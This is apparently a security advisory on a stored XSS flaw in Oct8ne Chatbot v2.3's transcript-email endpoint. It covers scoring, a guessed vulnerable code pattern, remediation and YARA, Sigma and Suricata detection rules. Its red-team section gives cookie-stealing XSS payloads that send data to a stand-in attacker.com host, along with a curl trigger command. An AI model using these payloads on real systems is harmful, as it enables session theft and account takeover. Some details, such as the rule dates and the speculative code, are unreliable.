CVE-2025-11952

Executive Summary

CVE-2025-11952 is a Stored Cross-Site Scripting (XSS) vulnerability in Oct8ne Chatbot version 2.3. The flaw resides in the /Records/SendSummaryMail endpoint, where an attacker can inject a malicious JavaScript payload into a transcript that is subsequently sent via email. When the victim opens the email and interacts with the transcript (e.g., viewing it in a browser), the injected script executes in the context of the victim's session. This can lead to session cookie theft, unauthorized actions on behalf of the user, or further compromise of the Oct8ne instance.

The vulnerability is classified as Stored XSS because the payload is persisted in the transcript record and delivered via email. No patch has been confirmed at the time of analysis, and the vendor Oct8ne has not released a security advisory. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of the attack vector increases risk for unpatched deployments.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone web application (Oct8ne Chatbot) deployed on a server. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The attacker can send the malicious payload over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – The attacker needs a valid user account to create a transcript.
• User Interaction: Required (UI:R) – The victim must open the email and view the transcript.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session cookies).
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction and low privileges reduces the immediate risk, but the stored nature of the XSS and the potential for session hijacking make it a significant concern for organizations using Oct8ne Chatbot.

Deep Dive & Mechanics

The vulnerability exists in the /Records/SendSummaryMail endpoint of Oct8ne Chatbot v2.3. This endpoint is responsible for generating and sending a summary transcript of a chat session via email. The transcript content is not properly sanitized before being included in the email body. An attacker with a valid user account can create a chat session and inject a malicious JavaScript payload into the transcript (e.g., by sending a message containing <script>alert('XSS')</script>). When the victim (e.g., a support agent or admin) opens the email and views the transcript in a browser-based email client or the Oct8ne interface, the script executes.

The attack flow:

1. Attacker logs into Oct8ne Chatbot with a valid account.
2. Attacker initiates a chat session and sends a message containing a malicious payload (e.g., <img src=x onerror=alert(1)>).
3. Attacker triggers the /Records/SendSummaryMail endpoint to send the transcript to a target email address.
4. Victim receives the email and opens it. The email client renders the HTML content, executing the injected script.
5. The script can steal session cookies, redirect the victim, or perform actions on behalf of the victim.

The root cause is insufficient output encoding of user-supplied data in the email generation logic. The transcript content is likely concatenated directly into the email body without HTML entity encoding.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (C# example)
string transcript = GetTranscript(chatId);
string emailBody = $"<html><body><h1>Chat Transcript</h1><p>{transcript}</p></body></html>";
SendEmail(emailBody);

A patched version would sanitize the transcript content:

// Patched code
string transcript = GetTranscript(chatId);
string sanitizedTranscript = System.Web.HttpUtility.HtmlEncode(transcript);
string emailBody = $"<html><body><h1>Chat Transcript</h1><p>{sanitizedTranscript}</p></body></html>";
SendEmail(emailBody);

Alternatively, using a templating engine with auto-escaping (e.g., Razor) would also mitigate the issue.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Valid user account on Oct8ne Chatbot v2.3.
• Network access to the Oct8ne instance.
• Target email address of a victim (e.g., support agent).

Exploit Steps:

1. Log in to Oct8ne Chatbot.
2. Start a new chat session.
3. Send a message containing a malicious payload. Example payloads:
   • <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
   • <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
4. Trigger the /Records/SendSummaryMail endpoint with the chat ID and victim's email.
5. Wait for the victim to open the email. The payload executes, sending the session cookie to the attacker's server.

Example cURL command:

curl -X POST "https://target-oct8ne.com/Records/SendSummaryMail" \
  -H "Authorization: Bearer <attacker_token>" \
  -d "chatId=123&email=victim@example.com"

Note: The exact API parameters may vary. Use browser developer tools to inspect the request.

Blue Team (Defender)

Detection Steps:

1. Monitor logs for suspicious API calls to /Records/SendSummaryMail with unusual payloads in the transcript.
2. Inspect email content for HTML tags or JavaScript in the transcript section.
3. Use web application firewall (WAF) rules to block common XSS patterns in the transcript field.
4. Implement Content Security Policy (CSP) headers in the email client or web interface to restrict script execution.

Lab Setup:

• Deploy Oct8ne Chatbot v2.3 in a controlled environment.
• Create a test user account.
• Use a disposable email service (e.g., Mailinator) to receive the malicious email.
• Monitor network traffic with Wireshark or Burp Suite.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the victim's browser.
  • Suspicious POST requests to /Records/SendSummaryMail with unusual parameters.
• File IOCs:
  • Email files containing <script> tags or event handlers (e.g., onerror, onload).
• Behavioral IOCs:
  • Unexpected session cookie changes or account takeover.
  • Unusual email activity from the Oct8ne system.

Detection Engineering

YARA Rule

rule CVE_2025_11952_Oct8ne_XSS {
    meta:
        description = "Detects malicious payloads in Oct8ne Chatbot transcript emails"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-11952"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=[^>]*>/is
        $xss3 = /javascript\s*:/is
        $oct8ne = "Oct8ne" nocase
    condition:
        $oct8ne and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2025-11952 Oct8ne Stored XSS via Email
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects suspicious API calls to /Records/SendSummaryMail with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: oct8ne
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/Records/SendSummaryMail'
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in transcripts (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11952 Oct8ne Stored XSS via Email";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/Records/SendSummaryMail"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-11952;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the /Records/SendSummaryMail endpoint if not required.
2. Implement input validation and output encoding for all transcript content.
3. Apply a web application firewall (WAF) rule to block XSS patterns in the transcript field.
4. Restrict access to the endpoint to trusted users only.

Long-term Fix:

• Upgrade to a patched version of Oct8ne Chatbot once available.
• Conduct a security audit of the application for similar vulnerabilities.
• Implement Content Security Policy (CSP) headers in the email client interface.

Workaround:

• Use an email gateway that strips HTML tags from incoming emails.
• Educate users to avoid opening emails from the Oct8ne system with suspicious content.

Valters IT
Securing Digital Frontiers